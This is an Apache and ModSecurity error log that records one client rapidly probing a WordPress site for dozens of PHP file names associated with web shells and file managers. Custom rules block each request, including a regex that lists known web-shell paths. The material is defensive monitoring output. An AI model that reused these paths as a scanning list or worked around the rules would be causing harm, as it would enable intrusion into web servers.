[Sat Apr 18 07:33:49.088375 2026] [:error] [pid 34288:tid 34295] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Sat Apr 18 07:33:49.358749 2026] [:error] [pid 34288:tid 34303] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Sat Apr 18 07:33:49.637254 2026] [:error] [pid 34288:tid 34292] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Sat Apr 18 07:33:49.938978 2026] [:error] [pid 34288:tid 34302] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Sat Apr 18 07:33:50.198289 2026] [:error] [pid 34288:tid 34293] [client 4.235.108.154:10712] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeLDXuTIiy__PtiLmpkvpwAAAYE"]
[Sat Apr 18 07:33:51.438493 2026] [:error] [pid 9864:tid 9926] [client 4.235.108.154:59326] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Sat Apr 18 07:33:51.724272 2026] [:error] [pid 9864:tid 9906] [client 4.235.108.154:59326] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Sat Apr 18 07:33:51.996172 2026] [:error] [pid 9864:tid 9925] [client 4.235.108.154:59326] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLDX4CFeowknfXHM7lSKgAAAFM"]
[Sat Apr 18 07:33:53.361456 2026] [:error] [pid 9970:tid 9976] [client 4.235.108.154:10717] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLDYSYdRLRhVmaIMx34XQAAAMI"]
[Sat Apr 18 07:33:56.475526 2026] [:error] [pid 13023:tid 13032] [client 4.235.108.154:62216] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLDZP1e7hG8DAeABB8tNAAAAQc"]
[Sat Apr 18 07:33:58.235575 2026] [:error] [pid 9864:tid 9929] [client 4.235.108.154:63522] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLDZoCFeowknfXHM7lSLAAAAFc"]
[Sat Apr 18 07:34:00.838409 2026] [:error] [pid 34237:tid 34242] [client 4.235.108.154:63536] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLDaBBmX4Wq5a6rxfbYfgAAAUM"]
[Sat Apr 18 07:34:02.338852 2026] [:error] [pid 34288:tid 34308] [client 4.235.108.154:63539] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLDauTIiy__PtiLmpkvtAAAAZA"]
[Sat Apr 18 07:34:03.660616 2026] [:error] [pid 9865:tid 9946] [client 4.235.108.154:10737] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLDa6zb5knECIY-C-jKYQAAAIk"]
[Sat Apr 18 07:34:05.570505 2026] [:error] [pid 34290:tid 34330] [client 4.235.108.154:10692] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLDbRqX6WpmmAXOBi9izgAAAcs"]
[Sat Apr 18 07:34:07.028584 2026] [:error] [pid 34290:tid 34338] [client 4.235.108.154:62226] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLDbxqX6WpmmAXOBi9i0gAAAdM"]
[Sat Apr 18 07:34:08.387508 2026] [:error] [pid 34288:tid 34309] [client 4.235.108.154:59280] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLDcOTIiy__PtiLmpkvuQAAAZE"]
[Sat Apr 18 07:34:09.424899 2026] [:error] [pid 9865:tid 9949] [client 4.235.108.154:62245] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLDcazb5knECIY-C-jKZgAAAIw"]
[Sat Apr 18 07:34:11.022299 2026] [:error] [pid 9865:tid 9956] [client 4.235.108.154:62258] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLDc6zb5knECIY-C-jKaAAAAJM"]
[Sat Apr 18 07:34:12.263615 2026] [:error] [pid 13023:tid 13041] [client 4.235.108.154:64953] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLDdP1e7hG8DAeABB8tZAAAARA"]
[Sat Apr 18 07:34:14.553944 2026] [:error] [pid 34290:tid 34330] [client 4.235.108.154:59324] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLDdhqX6WpmmAXOBi9i1gAAAcs"]
[Sat Apr 18 07:34:15.796023 2026] [:error] [pid 34237:tid 34251] [client 4.235.108.154:62230] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLDdxBmX4Wq5a6rxfbYhQAAAUw"]
[Sat Apr 18 07:34:17.039211 2026] [:error] [pid 13023:tid 13034] [client 4.235.108.154:62269] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLDef1e7hG8DAeABB8tfQAAAQk"]
[Sat Apr 18 07:34:18.306764 2026] [:error] [pid 34288:tid 34311] [client 4.235.108.154:52814] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLDeuTIiy__PtiLmpkvwQAAAZM"]
[Sat Apr 18 07:34:19.726131 2026] [:error] [pid 13023:tid 13032] [client 4.235.108.154:56011] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLDe_1e7hG8DAeABB8tiQAAAQc"]
[Sat Apr 18 07:34:21.176896 2026] [:error] [pid 34237:tid 34241] [client 4.235.108.154:63493] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLDfRBmX4Wq5a6rxfbYjQAAAUI"]
[Sat Apr 18 07:34:22.751150 2026] [:error] [pid 9863:tid 9881] [client 4.235.108.154:59271] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLDfjjjiypiFrTucbIjpwAAAAg"]
[Sat Apr 18 07:34:23.966868 2026] [:error] [pid 9864:tid 9908] [client 4.235.108.154:64958] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLDf4CFeowknfXHM7lSRgAAAEM"]
[Sat Apr 18 07:34:24.660666 2026] [:error] [pid 9864:tid 9929] [client 4.235.108.154:59288] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLDgICFeowknfXHM7lSSAAAAFc"]
[Sat Apr 18 07:34:25.526345 2026] [:error] [pid 9864:tid 9921] [client 4.235.108.154:54151] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLDgYCFeowknfXHM7lSSgAAAE8"]
[Sat Apr 18 07:34:27.066124 2026] [:error] [pid 13023:tid 13048] [client 4.235.108.154:64909] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLDg_1e7hG8DAeABB8tkwAAARc"]
[Sat Apr 18 07:34:28.781572 2026] [:error] [pid 34288:tid 34313] [client 4.235.108.154:15287] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLDhOTIiy__PtiLmpkv4AAAAZU"]
[Sat Apr 18 07:34:30.118062 2026] [:error] [pid 34290:tid 34341] [client 4.235.108.154:64957] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLDhhqX6WpmmAXOBi9i5wAAAdY"]
[Sat Apr 18 07:34:31.009157 2026] [:error] [pid 13023:tid 13032] [client 4.235.108.154:59289] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLDh_1e7hG8DAeABB8tsAAAAQc"]
[Sat Apr 18 07:34:32.347605 2026] [:error] [pid 34288:tid 34303] [client 4.235.108.154:61370] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLDiOTIiy__PtiLmpkv7AAAAYs"]
[Sat Apr 18 07:34:33.325404 2026] [:error] [pid 34288:tid 34298] [client 4.235.108.154:52853] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLDieTIiy__PtiLmpkv7wAAAYY"]
[Sat Apr 18 07:34:35.656681 2026] [:error] [pid 34288:tid 34305] [client 4.235.108.154:53771] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLDi-TIiy__PtiLmpkv9QAAAY0"]
[Sat Apr 18 07:34:36.738540 2026] [:error] [pid 34290:tid 34324] [client 4.235.108.154:53762] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLDjBqX6WpmmAXOBi9i8wAAAcU"]
[Sat Apr 18 07:34:37.696342 2026] [:error] [pid 34290:tid 34328] [client 4.235.108.154:53817] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLDjRqX6WpmmAXOBi9i9gAAAck"]
[Sat Apr 18 07:34:39.421942 2026] [:error] [pid 9863:tid 9891] [client 4.235.108.154:55753] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeLDjzjjiypiFrTucbIjtQAAABI"]
[Sat Apr 18 07:34:41.208276 2026] [:error] [pid 34290:tid 34334] [client 4.235.108.154:54880] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeLDkRqX6WpmmAXOBi9i_QAAAc8"]
[Sat Apr 18 07:34:43.369846 2026] [:error] [pid 34290:tid 34339] [client 4.235.108.154:54095] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeLDkxqX6WpmmAXOBi9i_gAAAdQ"]
[Sat Apr 18 07:34:45.658427 2026] [:error] [pid 9863:tid 9893] [client 4.235.108.154:54862] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeLDlTjjiypiFrTucbIjuAAAABQ"]
[Sat Apr 18 07:34:47.460527 2026] [:error] [pid 34290:tid 34326] [client 4.235.108.154:58108] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeLDlxqX6WpmmAXOBi9jBQAAAcc"]
[Sat Apr 18 07:34:48.426616 2026] [:error] [pid 34288:tid 34292] [client 4.235.108.154:54538] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeLDmOTIiy__PtiLmpkwDQAAAYA"]
[Sat Apr 18 07:34:50.358000 2026] [:error] [pid 34288:tid 34308] [client 4.235.108.154:33898] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeLDmuTIiy__PtiLmpkwEAAAAZA"]
[Sat Apr 18 07:34:52.139793 2026] [:error] [pid 34290:tid 34343] [client 4.235.108.154:63554] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Sat Apr 18 07:34:52.715609 2026] [:error] [pid 34290:tid 34324] [client 4.235.108.154:63554] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sat Apr 18 07:34:52.995261 2026] [:error] [pid 34290:tid 34339] [client 4.235.108.154:63554] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Sat Apr 18 07:34:53.525555 2026] [:error] [pid 34290:tid 34325] [client 4.235.108.154:63554] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aeLDnRqX6WpmmAXOBi9jDwAAAcY"]
[Sat Apr 18 07:34:55.237707 2026] [:error] [pid 34237:tid 34251] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Sat Apr 18 07:34:55.505401 2026] [:error] [pid 34237:tid 34252] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Sat Apr 18 07:34:55.784498 2026] [:error] [pid 34237:tid 34249] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat Apr 18 07:34:56.052891 2026] [:error] [pid 34237:tid 34260] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Sat Apr 18 07:34:56.339289 2026] [:error] [pid 34237:tid 34258] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/footer.php
[Sat Apr 18 07:34:56.616741 2026] [:error] [pid 34237:tid 34257] [client 4.235.108.154:61920] File does not exist: /usr/local/apache/htdocs/suspended-page/img.php
[Sat Apr 18 07:34:56.879892 2026] [:error] [pid 34237:tid 34245] [client 4.235.108.154:61920] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLDoBBmX4Wq5a6rxfbYrwAAAUY"]
[Sat Apr 18 07:34:59.292051 2026] [:error] [pid 34237:tid 34254] [client 4.235.108.154:57332] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLDoxBmX4Wq5a6rxfbYsAAAAU8"]
[Sat Apr 18 07:35:00.404329 2026] [:error] [pid 34288:tid 34312] [client 4.235.108.154:56885] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLDpOTIiy__PtiLmpkwGwAAAZQ"]
[Sat Apr 18 07:35:03.753151 2026] [:error] [pid 13023:tid 13029] [client 4.235.108.154:56880] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLDp_1e7hG8DAeABB8t8wAAAQQ"]
[Sat Apr 18 07:35:05.133959 2026] [:error] [pid 34290:tid 34331] [client 4.235.108.154:56849] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLDqRqX6WpmmAXOBi9jGwAAAcw"]
[Sat Apr 18 07:35:07.059912 2026] [:error] [pid 9970:tid 9975] [client 4.235.108.154:62674] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLDqyYdRLRhVmaIMx34vAAAAME"]
[Sat Apr 18 07:35:10.138313 2026] [:error] [pid 34237:tid 34262] [client 4.235.108.154:11139] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLDrhBmX4Wq5a6rxfbYtQAAAVc"]
[Sat Apr 18 07:35:13.085350 2026] [:error] [pid 9865:tid 9946] [client 4.235.108.154:61905] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLDsazb5knECIY-C-jKggAAAIk"]
[Sat Apr 18 07:35:15.448176 2026] [:error] [pid 34290:tid 34327] [client 4.235.108.154:61907] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLDsxqX6WpmmAXOBi9jLAAAAcg"]
